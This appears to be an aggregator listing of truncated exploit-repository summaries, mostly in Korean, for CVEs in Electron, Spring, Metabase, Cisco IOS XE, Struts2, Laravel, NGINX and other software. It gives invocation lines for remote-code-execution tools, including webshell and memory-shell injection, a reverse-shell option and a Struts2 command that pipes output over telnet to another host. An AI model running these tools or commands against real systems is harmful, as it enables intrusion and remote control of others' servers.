CVE-2018-1000006-DEMO

CVE-2018-1000006-DEMO CVE-2018-1000006 데모 분석 Electron v1.8.2-beta.4 원격 명령 실행 취약점 — 【CVE-2018-1000006】 POC elecrce\elecrce-win32-x64\elecrce.exe를 직접 사용할 수 있습니다. 또는 직접 EXE 애플리케이션으로 패키징하여 취약한 버전의 애플리케이션을 생성할 수 있습니다. 예를 들어 버전 1.7.8의 경우: electron-packager ./test elecrce --win --out ./elecrce --arch=x6...

CVE-2022-30023

CVE-2022-30023 Tenda HG9 라우터에서의 인증된 명령 주입 사용법 git clone https://github.com/Haniwa0x01/CVE-2022-30023 cd CVE-2022-30023 python exploit.py -u http://target -U "user" -P "password" 예제 pc@pc-note:/CVE-2022-30023/$ python3 exploit.py -u "http://10.0.0.1" -U "admin" -P "admin" !:...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework 원격 코드 실행 취약점 CVE-2022-22965 취약점 재현 환경 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 웹쉘 작성 참고: 검증 테스트 시 Shell은 한 번만 작성 가능합니다. 익스플로잇 스크립트 python CVE-2022-22965.py...

CVE-2022-22947

SpringCloud-Gateway 명령 실행 취약점 CVE-2022-22947 환경 구축 방법 1: GitHub에 이미 작성된 환경 코드를 클론합니다. GitHub 저장소 //⚠️ 환경 코드 다운로드 경로에 한글 또는 공백이 포함되지 않도록 주의 git clone https://github.com/Ha0Liu/CVE-2022-22947.git IDEA를 사용하여 방금 다운로드한 코드 패키지를 엽니다. Open --- 방금 다운로드한 파일 경로 --- Open. 방법 2: 직접 프로젝트를 생성하여 환경을 구축합니다. 1 새...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE 도구 CVE-2023-38646 RCE 그래픽 활용 도구 확인 모듈 지정된 URL을 입력하여 인증되지 않은 Token을 감지합니다. 명령 실행 이 모듈을 사용하려면 먼저 확인 모듈을 실행하여 token을 획득해야 합니다. JarLocation: metabase.jar의 위치, 기본값은 현재 디렉터리 메모리 셸 주입 현재는 cmd와 godzilla 모드만 작성되었으며, x-client-data를 통해 제어합니다. x-client-data:cmd →...

CVE-2018-0802_CVE-2017-11882

RTF118820802 CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 연구: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about 패치 분석:...

privesc-CVE-2010-0426

Sudo 1.6.x=1.6.9p21 및 1.7.x=1.7.2p4 로컬 권한 상승 Sudo su "do"는 시스템 관리자가 특정 사용자또는 사용자 그룹에게 모든 명령과 인수를 기록하면서 일부또는 모든 명령을 root로 실행할 수 있는 권한을 부여할 수 있게 해줍니다. 취약한 환경 테스트를 위해 취약한 환경을 설정하려면 Docker가 설치되어 있어야 하며, 다음 명령을 실행하기만 하면 됩니다: docker build -t privesc/cve-2010-0426 . docker run --rm -it...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS 인증되지 않은 RCE PHP 객체 인스턴스화를 통한 사용법 취약점 탐지. python CVE-2022-24990.py -u http://127.0.0.1:8080 PHP 웹쉘 업로드. python CVE-2022-24990.py -a http://127.0.0.1:8080 참조...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 익스플로잇 PoC 사용법 usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 익스플로잇 PoC options: -h, --help 도움말을 표시하고 종료 Targ...

watchTowr-vs-FortiSIEM-CVE-2025-25256

watchTowr-vs-FortiSIEM-CVE-2025-25256 FortiSIEM CVE-2025-25256에 대한 탐지 아티팩트 생성기 https://github.com/user-attachments/assets/1aa1040a-af34-460d-8844-1e440efa9ba1 자세한 기술 내용은 블로그 게시글을 참조하세요 탐지 작동 예시 python watchTowr-vs-FortiSIEM-CVE-2025-25256.py -r 192.168.8.232 -c whoami / | | |\ \ \ / / \ \ / | |...

-CVE-2017-9805

취약점 정보 리소스: https://vulners.com/cve/CVE-2017-9805 이것은 무엇인가? S2-052에 취약한 Struts2를 호스팅하는 시스템의 쉘에 원격 명령을 실행할 수 있는 Python 익스플로잇 스크립트입니다. 사용법 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST...

CVE-2022-24112

CVE-2022-24112: Apache APISIX リモートコード実行の脆弱性 go run apisix-exploit.go -t -c 参照: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL 표현식 주입 명령 실행 CVE-2022-22947 고질라 메모리쉘 주입 기본 key pass base64 참고: 코드에서 라우트 부분을 지우지 않았습니다. 직접 지우세요.. 테스트 환경: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md 메모리쉘 클래스:...

CVE-2020-11651

CVE-2020-11651 SaltStack Salt 2019.2.4 이전 및 3000.2 이전 버전에서 문제가 발견되었습니다. salt-master 프로세스의 ClearFuncs 클래스가 메서드 호출을 제대로 검증하지 않습니다. 이로 인해 원격 사용자가 인증 없이 일부 메서드에 접근할 수 있습니다. 이러한 메서드를 사용하여 salt master에서 사용자 토큰을 검색하거나 salt minion에서 임의의 명령을 실행할 수 있습니다. 세부 정보 패치 지원되지 않는 Salt 버전용 설치 git clone...

Cisco-IOS-XE-CVE-2023-20198

Cisco-IOS-XE-CVE-2023-20198 CVE-2023-20198용 Exploit PoC 취약점 정보 및 익스플로잇 사용법은 smokeintheshell이 제공함 참고 자료 참조 엔드포인트, HTTP 콘텐츠 유형 및 헤더 관리는 기존의 다른 PoC에서 수정되어 다른 익스플로잇이 실패하는 상황에서도 작동합니다. 설명 CVE-2023-20198은 부적절한 경로 검증으로 인해 인증 없이 Nginx 필터링을 우회하여 webuiwsmahttp 웹 엔드포인트에 도달할 수 있는 취약점입니다. 엔드포인트에 대한 인증을 우회하면...

CVE-2020-17144-EXP

CVE-2020-17144-EXP 条件: Exchange2010; 普通用户 默认用法写webshell: CVE-2020-17144-EXP.exe mail.example.com user pass 执行命令 & 端口复用: 修改ExploitClass.cs 参考 @zcgonvh...

CVE-2021-22205

취약점 영향 GitLab CE/EE 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약 제품 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://assets.kitploit.co...

Laravel-CVE-2021-3129

Laravel-CVE-2021-3129 CVE-2021-3129 설명 https://github.com/zhzyker/CVE-2021-3129 및 https://github.com/SNCKER/CVE-2021-3129 를 통합했으며, 이 프로젝트는 다음과 같은 장점이 있습니다: 사용자 정의 명령 기능 유지 익스플로잇 성공 시 자동 종료 기능을 추가하여 효율성 향상 11개의 익스플로잇 체인 유지 더 많은 escapedchars를 추가하고 명령에 괄호 처리를 사용하여 명령 실행 실패 가능성을 줄임 설치 pip install -r...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Astra Linux – Vulnerability in Firefox and Thunderbird

When a user clicks on an FTP URL containing encoded newline characters %0A and %0D, these newline characters are interpreted as such, allowing arbitrary commands to be sent to the FTP server. This vulnerability affects Firefox ESR 78.10, Thunderbird 78.10, and Firefox 88...